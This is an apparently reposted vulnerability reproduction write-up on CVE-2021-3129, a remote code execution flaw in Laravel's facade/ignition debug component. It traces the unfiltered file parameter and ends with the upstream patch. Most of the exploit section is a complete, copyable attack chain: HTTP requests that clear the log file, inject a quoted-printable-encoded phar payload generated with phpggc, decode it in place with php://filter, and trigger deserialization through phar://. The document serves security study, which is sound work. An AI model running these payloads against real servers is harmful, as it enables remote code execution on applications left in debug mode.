CVE-2021-3129: Laravel remote code vulnerability recurrence analysis

Abstract: This article mainly brings you the CVE-2021-3129 vulnerability recurrence analysis to help you in your daily work.

This article is shared from HUAWEI CLOUD Community " CVE-2021-3129 Analysis ", author: Xuuuu.

CVE-2021-3129

  • Tag: [[php phar]] | [[php deserialize]]

Env build

VulEnv/laravel/cve_2021_3129 at master · XuCcc/VulEnv

Source Analysis

According to the description, it is essentially due to the problem introduced by facade/ignition, directly check the commit record of the ignition [^1] and see that \Facade\Ignition\Solutions\MakeViewVariableOptionalSolution adds a safe filter function isSafePath

// \Facade\Ignition\Solutions\MakeViewVariableOptionalSolution::makeOptional

public function makeOptional(array $parameters = [])
{
    $originalContents = file_get_contents($parameters['viewFile']);
    $newContents = str_replace('$'.$parameters['variableName'], '$'.$parameters['variableName']." ?? ''", $originalContents);

    $originalTokens = token_get_all(Blade::compileString($originalContents));
    $newTokens = token_get_all(Blade::compileString($newContents));

    $expectedTokens = $this->generateExpectedTokens($originalTokens, $parameters['variableName']);

    if ($expectedTokens !== $newTokens) {
        return false;
    }

    return $newContents;
}

Discover the dangerous function file_get_contents and trace the function call stack

  • \Facade\Ignition\Solutions\MakeViewVariableOptionalSolution::makeOptional
  • \Facade\Ignition\Solutions\MakeViewVariableOptionalSolution::run
  • \Facade\Ignition\Http\Controllers\ExecuteSolutionController::__invoke
  • \Facade\Ignition\IgnitionServiceProvider::registerHousekeepingRoutes
    The parameter $parameters['viewFile'] is unfiltered and can be triggered through the execute-solution route. According to the official document [^2], it will go to the source when executing the solution operation.

Poc writing

After starting the environment, an igition error repair interface appears, click Generate app key to capture the package

POST /_ignition/execute-solution HTTP/1.1
Host: localhost:8000
Content-Length: 82
Accept: application/json
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Origin: http://localhost:8000
Referer: http://localhost:8000/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

{"solution":"Facade\\Ignition\\Solutions\\GenerateAppKeySolution","parameters":[]}

Then modify the parameter solution and modify it to specify the solution for MakeViewVariableOptionalSolution

POST /_ignition/execute-solution HTTP/1.1
Host: localhost:8000
Content-Length: 163
Accept: application/json
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Origin: http://localhost:8000
Referer: http://localhost:8000/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

{
    "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
    "parameters": {
        "variableName": "sxv",
        "viewFile": "asdfasdf"
    }
}
HTTP/1.1 500 Internal Server Error
Host: localhost:8000
Date: Tue, 15 Mar 2022 08:00:15 GMT
Connection: close
X-Powered-By: PHP/7.3.21
Cache-Control: no-cache, private
Date: Tue, 15 Mar 2022 08:00:15 GMT
Content-Type: application/json

{
    "message": "file_get_contents(asdfasdf): failed to open stream: No such file or directory",
    ...
}

500 means there is a vulnerability.

EXP writing

When there is an upload point, you can directly upload the phar file for deserialization, and directly fast forward to the fourth step to trigger deserialization

use ideas

When there is no upload point available, we can manipulate the ../storage/logs/laravel.log log file, and cooperate with the features of php://filter to construct a phar file and perform deserialization.

1. Clear the log file

{
    "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
    "parameters": {
        "variableName": "sxv",
        "viewFile": "php://filter/read=consumed/resource=../storage/logs/laravel.log"
    }
}

2. Write a legal phar file

[2022-03-08 09:09:26] local.ERROR: file_get_contents(AA): failed to open stream: No such file or directory {"exception":"[object] (ErrorException(code: 0): file_get_contents(AA): failed to open stream: No such file or directory at C:\\Users\\xu\\Desktop\\tmp\\laravel\\vendor\\facade\\ignition\\src\\Solutions\\MakeViewVariableOptionalSolution.php:75)  
[stacktrace]  
#0 [internal function]: Illuminate\\Foundation\\Bootstrap\\HandleExceptions->handleError(2, 'file_get_conten...', 'C:\\\\Users\\\\xu...', 75, Array)  
#1 C:\\Users\\xu\\Desktop\\tmp\\laravel\\vendor\\facade\\ignition\\src\\Solutions\\MakeViewVariableOptionalSolution.php(75): file_get_contents('AA')  
........
#41 {main}  
"}

Where the incoming payload appears

...
[padding] file_get_contents($payload) [padding] file_get_contents($payload)
...
[padding] file_get_contents('$payload[:15]') # 部分payload

Due to the [[php phar#file structure]] feature, dirty data is allowed to exist before and after the file, so the idea is to construct a phar file, write the phar file into the log file after encoding, and then restore the phar file through the php://filter feature, and finally Triggered by phar://

Coding characteristics

  • base64 decoding
    • Non-base64 compliant characters are ignored  and decoding continues
  • utf16 -> utf8
    • utf16 uses two bytes to represent a character, which requires double-byte alignment 
  • quoted-printable mail encoding
    • encode \0 as =00
<?php
$fp = fopen('php://output', 'w');  
stream_filter_append($fp, 'convert.base64-encode');  
stream_filter_append($fp, 'convert.iconv.utf-8.utf-16le');  
stream_filter_append($fp, 'convert.quoted-printable-encode');  
fwrite($fp, "POCCCCCCCCCCCCC");
fclose($fp);
// U=00E=009=00D=00Q=000=00N=00D=00Q=000=00N=00D=00Q=000=00N=00D=00Q=000=00N=00D=00
$fp = fopen('php://output', 'w');  
stream_filter_append($fp, 'convert.quoted-printable-decode');  
stream_filter_append($fp, 'convert.iconv.utf-16le.utf-8');  
//stream_filter_append($fp, 'convert.base64-decode');  
fwrite($fp, "AACCU=00E=009=00D=00Q=000=00N=00D=00Q=000=00N=00D=00Q=000=00N=00D=00Q=000=00N=00D=00CCAA");  
fclose($fp);
// 䅁䍃UE9DQ0NDQ0NDQ0NDQ0ND䍃䅁

$fp = fopen('php://output', 'w');  
//stream_filter_append($fp, 'convert.quoted-printable-decode');  
//stream_filter_append($fp, 'convert.iconv.utf-16le.utf-8');  
stream_filter_append($fp, 'convert.base64-decode');  
fwrite($fp, "䅁䍃UE9DQ0NDQ0NDQ0NDQ0ND䍃䅁");  
fclose($fp);
// POCCCCCCCCCCCCC

?>

send

// Step 1
"U=00E=009=00D=00Q=000=00N=00D=00Q=000=00N=00D=00Q=000=00N=00D=00Q=000=00N=00D=00"
// Step 2
"php://filter/read=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"

Decoding error file_get_contents(): stream filter (convert.quoted-printable-decode): invalid byte sequence Observe the log file

[2022-03-10 07:02:55] local.ERROR: file_get_contents(U=00E=009=00D=00Q=000=00N=00D=00Q=000=00N=00D=00Q=000=00N=00D=00Q=000=00N=00D=00): failed to open stream: No such file or directory {"exception":"[object] (ErrorException(code: 0): file_get_contents(U=00E=009=00D=00Q=000=00N=00D=00Q=000=00N=00D=00Q=000=00N=00D=00Q=000=00N=00D=00): failed to open stream: No such file or directory at C:\\Users\\xu\\Desktop\\tmp\\laravel\\vendor\\facade\\ignition\\src\\Solutions\\MakeViewVariableOptionalSolution.php:75)
[stacktrace]
#0 [internal function]: Illuminate\\Foundation\\Bootstrap\\HandleExceptions->handleError(2, 'file_get_conten...', 'C:\\\\Users\\\\xu...', 75, Array)
#1 C:\\Users\\xu\\Desktop\\tmp\\laravel\\vendor\\facade\\ignition\\src\\Solutions\\MakeViewVariableOptionalSolution.php(75): file_get_contents('U=00E=009=00D=0...')

It is concluded that the quoted-printable decoding error is reported due to the truncation at U=00E=009=00D=0.... The third position only displays the first 15 characters, so it can be filled with 'A' * 15 and send
AAAAAAAAAAAAAAAU=00E =009=00D=00Q=000=00N=00D=00Q=000=00N=00D=00Q=000=00N=00D=00Q=000=00N=00D=00

After decoding, we get POCCCCCCCCCCCCPOCCCCCCCCCCCCC. There are two payloads, which initially meet our requirements and can freely control the content of storage.log.

How to solve the payload that appears twice? If there are two payloads or some residual base64 encoding allowed characters will affect subsequent base64 decoding . You can adjust the subscript of the first character of the payload to be odd or even by adding padding characters before and after, thereby affecting the decoding of utf16->utf8, so that only one payload appears in the end

For example send 'A' * 16
AAAAAAAAAAAAAAAAU=00E=009=00D=00Q=000=00N=00D=00Q=000=00N=00D=00Q=000=00N=00D=00Q=000=00N=00D=00

After decoding, successfully get POCCCCCCCCCCCC

phar generated

Use phpgcc [^3] to generate phar file

> php -d 'phar.readonly=0' ./phpggc Laravel/RCE5 "phpinfo();" -p phar -o poc.phar
> php -r "echo file_get_contents('php://filter/read=convert.base64-encode|convert.iconv.utf-8.utf-16le|convert.quote  
d-printable-encode/resource=poc.phar');" 
P=00D=009=00w=00a=00H=00A=00g=00X=001=009=00I=00Q=00U=00x=00U=00X=000=00N=00P=00T=00...
N=00b=00A=00g=00A=00A=00A=00E=00d=00C=00T=00U=00I=00=3D=00

full use

1. Clear the log

POST /_ignition/execute-solution HTTP/1.1
Host: localhost:8000
Content-Length: 196
Accept: application/json
Content-Type: application/json
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Origin: http://localhost:8000
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

{
 "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
 "parameters": {
 "variableName": "sxv",
 "viewFile": "php://filter/read=consumed/resource=../storage/logs/laravel.log"
 }
}

2. Send phar file

POST /_ignition/execute-solution HTTP/1.1
Host: localhost:8000
Content-Length: 3222
Accept: application/json
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Origin: http://localhost:8000
Referer: http://localhost:8000/?XDEBUG_SESSION_START=16187
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

{
 "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
 "parameters": {
 "variableName": "sxv",
 "viewFile": "AAAAAAAAAAAAAAAP=00D=009=00w=00a=00H=00A=00g=00X=001=009=00I=00Q=00U=00x=00U=00X=000=00N=00P=00T=00V=00B=00J=00T=00E=00V=00S=00K=00C=00k=007=00I=00D=008=00+=00D=00Q=00r=00+=00A=00Q=00A=00A=00A=00Q=00A=00A=00A=00B=00E=00A=00A=00A=00A=00B=00A=00A=00A=00A=00A=00A=00D=00I=00A=00Q=00A=00A=00T=00z=00o=000=00M=00D=00o=00i=00S=00W=00x=00s=00d=00W=001=00p=00b=00m=00F=000=00Z=00V=00x=00C=00c=00m=009=00h=00Z=00G=00N=00h=00c=003=00R=00p=00b=00m=00d=00c=00U=00G=00V=00u=00Z=00G=00l=00u=00Z=000=00J=00y=00b=002=00F=00k=00Y=002=00F=00z=00d=00C=00I=006=00M=00j=00p=007=00c=00z=00o=005=00O=00i=00I=00A=00K=00g=00B=00l=00d=00m=00V=00u=00d=00H=00M=00i=00O=000=008=006=00M=00j=00U=006=00I=00k=00l=00s=00b=00H=00V=00t=00a=00W=005=00h=00d=00G=00V=00c=00Q=00n=00V=00z=00X=00E=00R=00p=00c=003=00B=00h=00d=00G=00N=00o=00Z=00X=00I=00i=00O=00j=00E=006=00e=003=00M=006=00M=00T=00Y=006=00I=00g=00A=00q=00A=00H=00F=001=00Z=00X=00V=00l=00U=00m=00V=00z=00b=002=00x=002=00Z=00X=00I=00i=00O=002=00E=006=00M=00j=00p=007=00a=00T=00o=00w=00O=000=008=006=00M=00j=00U=006=00I=00k=001=00v=00Y=002=00t=00l=00c=00n=00l=00c=00T=00G=009=00h=00Z=00G=00V=00y=00X=00E=00V=002=00Y=00W=00x=00M=00b=002=00F=00k=00Z=00X=00I=00i=00O=00j=00A=006=00e=003=001=00p=00O=00j=00E=007=00c=00z=00o=000=00O=00i=00J=00s=00b=002=00F=00k=00I=00j=00t=009=00f=00X=00M=006=00O=00D=00o=00i=00A=00C=00o=00A=00Z=00X=00Z=00l=00b=00n=00Q=00i=00O=000=008=006=00M=00z=00g=006=00I=00k=00l=00s=00b=00H=00V=00t=00a=00W=005=00h=00d=00G=00V=00c=00Q=00n=00J=00v=00Y=00W=00R=00j=00Y=00X=00N=000=00a=00W=005=00n=00X=00E=00J=00y=00b=002=00F=00k=00Y=002=00F=00z=00d=00E=00V=002=00Z=00W=005=000=00I=00j=00o=00x=00O=00n=00t=00z=00O=00j=00E=00w=00O=00i=00J=00j=00b=002=005=00u=00Z=00W=00N=000=00a=00W=009=00u=00I=00j=00t=00P=00O=00j=00M=00y=00O=00i=00J=00N=00b=002=00N=00r=00Z=00X=00J=005=00X=00E=00d=00l=00b=00m=00V=00y=00Y=00X=00R=00v=00c=00l=00x=00N=00b=002=00N=00r=00R=00G=00V=00m=00a=00W=005=00p=00d=00G=00l=00v=00b=00i=00I=006=00M=00j=00p=007=00c=00z=00o=005=00O=00i=00I=00A=00K=00g=00B=00j=00b=002=005=00m=00a=00W=00c=00i=00O=000=008=006=00M=00z=00U=006=00I=00k=001=00v=00Y=002=00t=00l=00c=00n=00l=00c=00R=002=00V=00u=00Z=00X=00J=00h=00d=00G=009=00y=00X=00E=001=00v=00Y=002=00t=00D=00b=002=005=00m=00a=00W=00d=001=00c=00m=00F=000=00a=00W=009=00u=00I=00j=00o=00x=00O=00n=00t=00z=00O=00j=00c=006=00I=00g=00A=00q=00A=00G=005=00h=00b=00W=00U=00i=00O=003=00M=006=00N=00z=00o=00i=00Y=00W=00J=00j=00Z=00G=00V=00m=00Z=00y=00I=007=00f=00X=00M=006=00N=00z=00o=00i=00A=00C=00o=00A=00Y=002=009=00k=00Z=00S=00I=007=00c=00z=00o=00y=00N=00T=00o=00i=00P=00D=009=00w=00a=00H=00A=00g=00c=00G=00h=00w=00a=00W=005=00m=00b=00y=00g=00p=00O=00y=00B=00l=00e=00G=00l=000=00O=00y=00A=00/=00P=00i=00I=007=00f=00X=001=009=00C=00A=00A=00A=00A=00H=00R=00l=00c=003=00Q=00u=00d=00H=00h=000=00B=00A=00A=00A=00A=00M=00R=00g=00K=00G=00I=00E=00A=00A=00A=00A=00D=00H=005=00/=002=00L=00Y=00B=00A=00A=00A=00A=00A=00A=00A=00A=00d=00G=00V=00z=00d=00O=00/=00f=00e=004=00O=00w=00P=00Z=00E=00S=00E=00Q=00e=00a=00f=004=005=00A=00o=00i=00R=00J=00r=00g=00N=00b=00A=00g=00A=00A=00A=00E=00d=00C=00T=00U=00I=00=3D=00"
 }
}

3. Restore phar file

In this step, you can verify whether the phar file is successfully restored by the following code, or judge by the http 200 status code

$fix = file_get_contents("php://filter/read=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log");  
var_export($fix);
POST /_ignition/execute-solution HTTP/1.1
Host: localhost:8000
Content-Length: 271
Accept: application/json
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Origin: http://localhost:8000
Referer: http://localhost:8000/?XDEBUG_SESSION_START=16187
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

{
 "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
 "parameters": {
 "variableName": "sxv",
 "viewFile": "php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"
 }
}

4. Trigger deserialization

POST /_ignition/execute-solution HTTP/1.1
Host: localhost:8000
Content-Length: 167
Accept: application/json
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Origin: http://localhost:8000
Referer: http://localhost:8000/?XDEBUG_SESSION_START=16187
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

{
 "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
 "parameters": {
 "variableName": "sxv",
 "viewFile": "phar://../storage/logs/laravel.log"
 }
}

Patch Repair

The \Facade\Ignition\Solutions\MakeViewVariableOptionalSolution::isSafePath function filters $parameters['viewFile'] to prevent pseudo-protocols, etc.

protected function isSafePath(string $path): bool
{
	if (! Str::startsWith($path, ['/', './'])) {
		return false;
	}
	if (! Str::endsWith($path, '.blade.php')) {
		return false;
	}

	return true;
}

Reference

  • Laravel8 CVE-2021-3129 Recurrence Analysis - TARI TARI
  • Laravel Debug mode RCE (CVE-2021-3129) Reproduction - inHann's Blog | inHann's Blog
  • Laravel Debug mode RCE (CVE-2021-3129) analysis and reproduction - Prophet Community

Footnote

[^1]:Comparing 2.5.1…2.5.2 · facade/ignition [^2]:Security - Flare Docs [^3]:ambionics/phpggc: PHPGGC is a library of PHP unserialize() payloads along with a tool to generate them, from command line or programmatically. 
 
 

Bonus at the end of the article: HUAWEI CLOUD Vulnerability Scanning Service VSS Basic Edition is free for a limited time >>>

 

 

Click Follow to learn about HUAWEI CLOUD's new technologies for the first time~

{{o.name}}
{{m.name}}

Guess you like

Origin http://43.154.161.224:23101/article/api/json?id=324287500&siteId=291194637